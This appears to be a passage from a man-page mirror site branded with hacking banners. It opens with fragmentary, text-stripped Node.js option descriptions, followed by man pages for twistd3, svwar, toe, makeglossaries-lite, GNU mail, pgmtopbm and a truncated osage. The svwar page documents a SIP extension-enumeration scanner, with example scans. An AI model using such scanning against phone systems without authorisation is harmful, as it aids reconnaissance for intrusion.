The maximum number of test files that the test runner CLI will execute concurrently.

A regular expression that configures the test runner to only execute tests whose name matches the provided pattern.

A test reporter to use when running tests.

The destination for the corresponding test reporter.

Configures the test runner to only execute top level tests that have the `only` option set.

Test suite shard to execute in a format of <index>/<total>.

Throw errors for deprecations.

Specify process.title on startup.

Specify an alternative default TLS cipher list. Requires Node.js to be built with crypto support. (Default)

Log TLS key material to a file. The key material is in NSS SSLKEYLOGFILE format and can be used by software (such as Wireshark) to decrypt the TLS traffic.

Set default maxVersion to ‘TLSv1.2’. Use to disable support for TLSv1.3.

Set default maxVersion to ‘TLSv1.3’. Use to enable support for TLSv1.3.

Set default minVersion to ‘TLSv1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.1’. Use for compatibility with old TLS clients or servers.

Set default minVersion to ‘TLSv1.2’. This is the default for 12.x and later, but the option is supported for compatibility with older Node.js versions.

Set default minVersion to ‘TLSv1.3’. Use to disable support for TLSv1.2 in favour of TLSv1.3, which is more secure.

Print short summaries of calls to

This flag is deprecated.

Print stack traces for deprecations.

A comma-separated list of categories that should be traced when trace event tracing is enabled using

Template string specifying the filepath for the trace event data, it supports

and

Enable the collection of trace event tracing information.

Prints a stack trace whenever an environment is exited proactively, i.e. invoking `process.exit()`.

Prints a stack trace on SIGINT.

Print a stack trace whenever synchronous I/O is detected after the first turn of the event loop.

Prints TLS packet trace information to stderr.

Print stack traces for uncaught exceptions; usually, the stack trace associated with the creation of an

is printed, whereas this makes Node.js also print the stack trace associated with throwing the value (which does not need to be an

instance).

Enabling this option may affect garbage collection behavior negatively.

Print stack traces for process warnings (including deprecations).

Track heap object allocations for heap snapshots.

Define the behavior for unhandled rejections. Can be one of `strict` (raise an error), `warn` (enforce warnings) or `none` (silence warnings).

Use bundled Mozilla CA store as supplied by current Node.js version or use OpenSSL’s default CA store. The default store is selectable at build-time.

The bundled CA store, as supplied by Node.js, is a snapshot of Mozilla CA store that is fixed at release time. It is identical on all supported platforms.

Using OpenSSL store allows for external modifications of the store. For most Linux and BSD distributions, this store is maintained by the distribution maintainers and system administrators. OpenSSL CA store location is dependent on configuration of the OpenSSL library but this can be altered at runtime using environment variables.

See

and

Re-map the Node.js static code to large memory pages at startup. If supported on the target system, this will cause the Node.js static code to be moved onto 2 MiB pages instead of 4 KiB pages.

must have one of the following values: `off` (the default value, meaning do not map), `on` (map and ignore failure, reporting it to stderr), or `silent` (map and silently ignore failure).

Print V8 command-line options.

Set V8’s thread pool size which will be used to allocate background jobs. If set to 0 then V8 will choose an appropriate size of the thread pool based on the number of online processors. If the value provided is larger than V8’s maximum, then the largest value will be chosen.

Automatically zero-fills all newly allocated Buffer and SlowBuffer instances.

Check the script’s syntax without executing it. Exits with an error code if script is invalid.

Evaluate

as JavaScript.

Print command-line options. The output of this option is less detailed than this document.

Open the REPL even if stdin does not appear to be a terminal.

Identical to

but prints the result.

Preload the specified

at startup. Follows `require()`’s module resolution rules.

may be either a path to a file, or a Node.js module name.

Print node’s version.

Used to enable ANSI colorized output. The value may be one of:

,

, or

to indicate 16-color support,

to indicate 256-color support, or

to indicate 16 million-color support. When used and set to a supported value, both the NO_COLOR and NODE_DISABLE_COLORS environment variables are ignored. Any other value will result in colorized output being disabled.

Alias for NODE_DISABLE_COLORS

Comma-separated list of core modules that should print debug information.

Comma-separated list of C++ core modules that should print debug information.

When set to

colors will not be used in the REPL.

When set, the well-known

CAs (like VeriSign) will be extended with the extra certificates in

The file should consist of one or more trusted certificates in PEM format.

If

is missing or misformatted, a message will be emitted once using

but any errors are otherwise ignored.

This environment variable is ignored when `node` runs as setuid root or has Linux file capabilities set.

The

environment variable is only read when the Node.js process is first launched. Changing the value at runtime using

has no effect on the current process.

Data path for ICU (Intl object) data. Will extend linked-in data when compiled with small-icu support.

When set to

process warnings are silenced.

A space-separated list of command-line

which are interpreted as if they had been specified on the command line before the actual command (so they can be overridden). Node.js will exit with an error if an option that is not allowed in the environment is used, such as

or a script file.

A colon-separated list of

prefixed to the module search path.

When set to

emit pending deprecation warnings.

When set to

the module loader preserves symbolic links when resolving and caching modules.

Write process warnings to the given

instead of printing to stderr. Equivalent to passing

on the command line.

Path to the

used to store persistent REPL history. The default path is

which is overridden by this variable. Setting the value to an empty string ("" or " “) will disable persistent REPL history.

Path to a Node.js module which will be loaded in place of the built-in REPL. Overriding this value to an empty string (`’’`) will use the built-in REPL.

When set to

the check for a supported platform is skipped during Node.js startup. Node.js might not execute correctly. Any issues encountered on unsupported platforms will not be fixed.

When set to

TLS certificate validation is disabled.

When set, Node.js writes JavaScript code coverage information to

Load an OpenSSL configuration file on startup. Among other uses, this can be used to enable FIPS-compliant crypto if Node.js is built with

If the

command-line option is used, this environment variable is ignored.

If

is enabled, this overrides and sets OpenSSL’s directory containing trusted certificates.

If

is enabled, this overrides and sets OpenSSL’s file containing trusted certificates.

Specify the timezone configuration.

Sets the number of threads used in libuv’s threadpool to

Bugs are tracked in GitHub Issues:

Copyright Node.js contributors. Node.js is available under the MIT license.

Node.js also includes external libraries that are available under a variety of licenses. See

for the full license text.

Website:

Documentation:

GitHub repository and issue tracker:

IRC (general questions):

(unofficial)

Written and maintained by 1000+ contributors:

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1247 - Linux cli command twistd3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command twistd3 and provides detailed information about the command twistd3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the twistd3.

NAME 🖥️ twistd3 🖥️

run Twisted applications (TACs, TAPs)

SYNOPSIS

twistd [options]

DESCRIPTION

Read a twisted.application.service.Application out of a file and run it.

OPTIONS

-n, –nodaemon Don’t daemonize (stay in foreground).

-q, –quiet
No-op for backwards compatibility.

-p, –profile <profile output>
Run the application under the profiler, dumping results to the specified file.

–profiler <profiler name>
Specify the profiler to use. Defaults to the ‘hotshot’ profiler.

–savestats
Save the Stats object rather than the text output of the profiler.

-b, –debug
Run the application in the Python Debugger (implies –nodaemon option). Sending a SIGINT or SIGUSR2 signal to the process will drop it into the debugger.

-e, –encrypted <file>
The specified tap/aos file is encrypted.

–euid
Set only effective user-id rather than real user-id. This option has no effect unless the server is running as root, in which case it means not to shed all privileges after binding ports, retaining the option to regain privileges in cases such as spawning processes. Use with caution.

-o, –no_save
Do not save shutdown state.

–originalname
Behave as though the specified Application has no process name set, and run with the standard process name (the Python binary in most cases).

-l, –logfile <logfile>
Log to a specified file, - for stdout (default: twistd.log). The log file will be rotated on SIGUSR1.

-l, –logger <fully qualified python name>
A fully-qualified name to a log observer factory to use for the initial log observer. Takes precedence over –logfile and –syslog.

–pidfile <pidfile>
Save pid in specified file (default: twistd.pid).

–chroot <directory>
Chroot to a supplied directory before running (default: don’t chroot). Chrooting is done before changing the current directory.

-d, –rundir <directory>
Change to a supplied directory before running (default: .).

-u, –uid <uid>
The uid to run as (default: don’t change).

-g, –gid <gid>
The gid to run as (default: don’t change).

–umask <mask>
The (octal) file creation mask to apply. (default: 0077 for daemons, no change otherwise).

-r, –reactor <reactor>
Choose which reactor to use. See –help-reactors for a list of possibilities.

–help-reactors
List the names of possibly available reactors.

–spew
Write an extremely verbose log of everything that happens. Useful for debugging freezes or locks in complex code.

-f, –file <tap file>
Read the given .tap file (default: twistd.tap).

-s, –source <tas file>
Load an Application from the given .tas (AOT Python source) file.

-y, –python <python file>
Use the variable “application” from the given Python file. This option overrides -f. This option implies –no_save.

–syslog
Log to syslog instead of a file.

–version
Print version information and exit.

–prefix <prefix>
Use the specified prefix when logging to logfile. Default is “twisted”.

Note that if twistd is run as root, the working directory is not searched for Python modules.

SIGNALS

A running twistd accepts SIGINT for a clean shutdown and SIGUSR1 to rotate log files.

AUTHOR

Written by Moshe Zadka, based on twistd’s help messages.

REPORTING BUGS

To report a bug, visit http://twistedmatrix.com/trac/wiki/TwistedDevelopment#DevelopmentProcess

COPYRIGHT

Copyright © 2001-2011 Twisted Matrix Laboratories.
This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1248 - Linux cli command svwar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svwar and provides detailed information about the command svwar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svwar.

NAME 🖥️ svwar 🖥️

extension line scanner

SYNOPSIS

svwar.py [options] target

DESCRIPTION

examples: svwar.py -e100-999 udp://10.0.0.1:5080 svwar.py -d dictionary.txt 10.0.0.2

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
Increase verbosity

-q, –quiet
Quiet mode

-p PORT, –port=PORT
Destination port or port ranges of the SIP device - eg -p5060,5061,8000-8100

-P PORT, –localport=PORT
Source port for our packets

-x IP, –externalip=IP
IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT

-b BINDINGIP, –bindingip=BINDINGIP
By default we bind to all interfaces. This option overrides that and binds to the specified ip address

-t SELECTTIME, –timeout=SELECTTIME
This option allows you to trottle the speed at which packets are sent. Change this if you’re losing packets. For example try 0.5.

-R, –reportback
Send the author an exception traceback. Currently sends the command line parameters and the traceback

-A, –autogetip
Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP.

-s NAME, –save=NAME
save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans

–resume=NAME
resume a previous scan

-c, –enablecompact
enable compact mode. Makes packets smaller but possibly less compatible

-d DICTIONARY, –dictionary=DICTIONARY
specify a dictionary file with possible extension names or - for stdin

-m OPTIONS, –method=OPTIONS
specify a request method. The default is REGISTER. Other possible methods are OPTIONS and INVITE

-e RANGE, –extensions=RANGE
specify an extension or extension range example: -e 100-999,1000-1500,9999

-z PADDING, –zeropadding=PADDING
the number of zeros used to padd the username. the options “-e 1-9999 -z 4” would give 0001 0002 0003 … 9999

–force
Force scan, ignoring initial sanity checks.

-T TEMPLATE, –template=TEMPLATE
A format string which allows us to specify a template for the extensions example svwar.py -e 1-999 –template=“123%#04i999” would scan between 1230001999 to 1230999999"

-D, –enabledefaults
Scan for default / typical extensions such as 1000,2000,3000 … 1100, etc. This option is off by default. Use –enabledefaults to enable this functionality

–maximumtime=MAXIMUMTIME
Maximum time in seconds to keep sending requests without receiving a response back

–domain=DOMAIN
force a specific domain name for the SIP message, eg. -d example.org

–debug
Print SIP messages received

-6
Scan an IPv6 address

Sipvicious extension line scanner scans SIP PaBXs for valid extension lines.

Copyright (C) 2021 Sandro Gauci <[email protected]>

This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

SEE ALSO

The full documentation for svwar.py can be found on GitHub at <https://github.com/enablesecurity/sipvicious/wiki>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1249 - Linux cli command toe

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command toe and provides detailed information about the command toe, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the toe.

NAME 🖥️ toe 🖥️

list table of entries of terminfo terminal types

SYNOPSIS

toe [-ahs] [**-v ** [n]] [directory . . .]

toe [-u|-U] file

toe -V

DESCRIPTION

toe reports to the standard output stream the (primary) names and descriptions of the terminal types available to the terminfo library. Each directory is scanned; if none are given, toe scans the default terminfo directory.

OPTIONS

The -h option can be helpful to observe where toe is looking for terminal descriptions. Other options support maintainers of terminfo terminal descriptions.

-a
lists entries from all terminal database directories that terminfo would search, instead of only the first that it finds.

If -s is also given, toe additionally reports, like conflict(1), which entries correspond to a given terminal database. An * marks entries that differ, and + marks equivalent entries.

Without the -s option, toe does not attempt to merge duplicates in its report.

-h
writes a heading naming each each directory as it is accessed.

-s
sorts the output by the entry names.

**-u **file
lists terminal type dependencies in file, a terminfo entry source or termcap database file. The report summarizes the use (terminfo) and tc (termcap) relations: each line comprises the primary name of a terminal type employing use/tc capabilities, a colon, a space- and tab-separated list of primary names of terminal types thus named, and a newline.

**-U **file
lists terminal type reverse dependencies in file, a terminfo entry source or termcap database file. The report summarizes the use (terminfo) and tc (termcap) reverse relations: each line comprises the primary name of a terminal type occurring in use/tc capabilities, a colon, a space- and tab-separated list of primary names of terminal types naming them thus, and a newline.

**-v **[
n] reports verbose status information to the standard error stream, showing toe’s progress.

The optional parameter n is an integer between 1 and 10 inclusive, interpreted as for tic(1). If ncurses is built without tracing support, n is ignored.

-V
reports the version of ncurses associated with this program and exits with a successful status.

FILES

/etc/terminfo
compiled terminal description database

PORTABILITY

toe is not provided by other implementations. There is no applicable X/Open or POSIX standard for it.

HISTORY

toe replaces a -T option that was briefly supported by the ncurses infocmp utility in 1995.

The -a and -s options were added in 2006 and 2011, respectively.

The program’s name originates with a developer’s pun:

  • tic,

  • tac (now tack),

  • toe.

EXAMPLES

When not sorting with the -s option, the -a option reports all of the names found in all of the terminal database directories named in the TERMINFO and TERMINFO_DIRS environment variables.

xterm-colorgeneric color xterm
xterm-xfree86xterm terminal emulator (XFree86)
xterm-vt220xterm emulating vt220
xterm-256colorxterm with 256 colors
xterm-r6xterm X11R6 version
xterm-r5xterm R5 version
xterm-monomonochrome xterm
xterm

xterm terminal emulator (X Window System)

vt220dec vt220
vt102dec vt102
vt100dec vt100 (w/advanced video)
vt52dec vt52
. . .

Use the -a and -s options together to show where each terminal description was found.

--> /etc/terminfo
----> /lib/terminfo
------> /usr/share/terminfo
--*---:vt100dec vt100 (w/advanced video)
--*---:vt102dec vt102
--*---:vt220dec vt220
--*---:vt52dec vt52
--*---:xterm

xterm terminal emulator (X Window System)

--*---:xterm-256colorxterm with 256 colors
--*---:xterm-colorgeneric color xterm
--*---:xterm-monomonochrome xterm
--*---:xterm-r5xterm R5 version
--*---:xterm-r6xterm X11R6 version
--*---:xterm-vt220xterm emulating vt220
--*---:xterm-xfree86

xterm terminal emulator (XFree86)

. . .

SEE ALSO

captoinfo(1), infocmp(1), infotocap(1), tic(1), ncurses(3NCURSES), terminfo(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1250 - Linux cli command makeglossaries-lite

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command makeglossaries-lite and provides detailed information about the command makeglossaries-lite, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the makeglossaries-lite.

NAME 🖥️ makeglossaries-lite 🖥️

lite - Calls makeindex/xindy for LaTeX documents using glossaries package

SYNOPSIS

makeglossaries [-o file] [-q] [-n] [-s file] [-t file] [-L language] [-c] [-g] [-l] [-p num] [-r] [-m file] [-x file] [–version] [–help] basename

DESCRIPTION

makeglossaries-lite is cut-down Lua alternative to the makeglossaries Perl script. It’s designed for use with LaTeX documents that use the glossaries package. Some options that are available to makeglossaries aren’t available with makeglossaries-lite. The mandatory argument basename should be the name of the LaTeX document without the .tex extension. makeglossaries-lite will read the auxiliary file to determine whether makeindex or xindy should be called. All the information required to be passed to the relevant indexing application should also be contained in the auxiliary file, but may be overridden by the option arguments to makeglossaries-lite.

OPTIONS

-q
Quiet mode. Reduces chatter to standard output.

-n
Print the commands that would normally be executed but don’t run them.

-o file
Use file as the output file. (Only suitable for documents containing a single glossary, otherwise each glossary will be overridden.)

-s file
Use file as the style file. Note that if you use this option, you need to know whether makeindex or xindy will be called, as they have different style files.

-t file
Use file as the transcript file.

-l
Letter ordering.

-L language
This option only has an effect if xindy is called. Sets the language. See xindy documentation for further details.

-c
Compress intermediate blanks (makeindex only).

-g
Employ German word ordering (makeindex only).

-p num
Sets the starting page number to be num (makeindex only).

-r
Disable implicit page range formation (makeindex only).

-m file
Specify the full path name for makeindex to file in the event that makeindex isn’t on the operating system’s path.

-x file
Specify the full path name for xindy to file in the event that xindy isn’t on the operating system’s path.

–version
Prints version number and exits.

–help
Prints help message and exits.

REQUIRES

texlua and makeindex or xindy (depending on glossaries package options).

LICENSE

This is free software distributed under the LaTeX Project Public License. There is NO WARRANTY. See <http://www.latex-project.org/lppl.txt> for details.

AUTHOR

Nicola L. C. Talbot, <http://www.dickimaw-books.com/>

RECOMMENDED READING

The glossaries manual:

texdoc glossaries

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1251 - Linux cli command mail

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mail and provides detailed information about the command mail, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mail.

NAME 🖥️ mail 🖥️

process mail messages

SYNOPSIS

mail.mailutils [OPTION…] [address…]
mail.mailutils [OPTION…] [OPTION…] [file]
mail.mailutils [OPTION…] –file [OPTION…] [file]
mail.mailutils [OPTION…] –file=file [OPTION…]

DESCRIPTION

GNU mail process mail messages. If -f or –file is given, mail operates on the mailbox named by the first argument, or the user’s mbox, if no argument given.

-A, –attach=FILE
attach FILE

-a, –append=HEADER: VALUE append given header to the message being sent

–[no-]alternative
force multipart/alternative content type

–attach-fd=FD
attach from file descriptor FD

–content-filename=NAME
set the Content-Disposition filename parameter for the next –attach option

–content-name=NAME
set the Content-Type name parameter for the next –attach option

–content-type=TYPE
set content type for subsequent –attach options

-E, –exec=COMMAND
execute COMMAND

-e, –exist
return true if mail exists

–encoding=NAME
set encoding for subsequent –attach options

-F, –byname
save messages according to sender

-H, –headers
write a header summary and exit

-i, –ignore
ignore interrupts

-M, –[no-]mime
compose MIME messages

-N, –nosum
do not display initial header summary

-n, –norc
do not read the system mailrc file

-p, –print, –read
print all mail to standard output

-q, –quit
cause interrupts to terminate program

-r, –return-address=ADDRESS
use address as the return address when sending mail

-s, –subject=SUBJ
send a message with the given SUBJECT

–[no-]skip-empty-attachments
skip attachments with empty body

-t, –to
read recipients from the message header

-u, –user=USER
operate on USER’s mailbox

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1252 - Linux cli command pgmtopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmtopbm and provides detailed information about the command pgmtopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmtopbm.

.

NAME 🖥️ pgmtopbm 🖥️

convert a PGM image to PBM

SYNOPSIS

pgmtopbm

[-floyd | -fs | -threshold | -hilbert | -dither8 | -d8 | -cluster3 | -c3 | -cluster4 | -c4 | -cluster8 | -c8]

[-value val]

[-clump size]

[-randomseed integer]

[pgmfile]

DESCRIPTION

This program is part of Netpbm(1) .

This program is almost entirely obsolete since Netpbm 10.23 (July 2004). Use pamditherbw(1) to do what this program used to do.

pgmtopbm never was the simple converter it appeared to be. It was a dithering program. Unfortunately, it didn’t do the dithering properly because it treated the PGM input samples as if they were directly proportional to light intensity, but they are actually gamma-adjusted.

pamditherbw is backward compatible with pgmtopbm except that it

  • does the correct gamma adjustments.

  • produces PAM output instead of PBM. (Modern Netpbm programs that accept PBM input also accept PAM input, but if you need actual PBM, you can use pamtopnm with pamditherbw).

So use the manual for pamditherbw for pgmtopbm, except ignore anything that says it was added after Netpbm Release 10.23 and ignore any options that are not shown in the synopsis above.

Although pgmtopbm is mostly obsolete, the simple threshold method (specified by -threshold) is an exception. Unlike the other conversion methods, gamma-adjustment is not an issue with simple thresholding and pgmtopbm can produce PBM output directly. Note that even in this basic mode of operation pgmtopbm may produce output which is slightly different from what pamditherbw does because of differences in internal calculation.

If you just want to convert a PGM image with maxval 1 to PBM, use pamtopnm(1) .

SEE ALSO

pamditherbw(1) , pamtopnm(1) , pbmtopgm(1) , pamthreshold(1) , pbmreduce(1) , pgm(1) , pbm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmtopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1253 - Linux cli command osage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command osage and provides detailed information about the command osage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the osage.

NAME 🖥️ osage 🖥️

filter for drawing clustered graphs

SYNOPSIS

osage [-(G|N|E)name=value] [-Tlang] [-llibfile] [-ooutfile] [-O] [-P] [-v] [-V] [files]

DESCRIPTION

osage draws clustered graphs. As input, it takes any graph in the dot format. It draws the graph recursively. At each level, there will be a collection of nodes and a collection of cluster subgraphs. The internals of each cluster subgraph are laid out, then the cluster subgraphs and nodes at the current level are positioned relative to each other, treating each cluster subgraph as a node.

At each level, the nodes and cluster subgraphs are viewed as rectangles to be packed together. At present, edges are ignored during packing. Packing is done using the standard packing functions. In particular, the graph attributes pack and packmode control the layout. Each graph and cluster can specify its own values for these attributes. Remember also that a cluster inherits its attribute values from its parent graph.

After all nodes and clusters, edges are routed based on the value of the splines attribute.

OUTPUT FORMATS

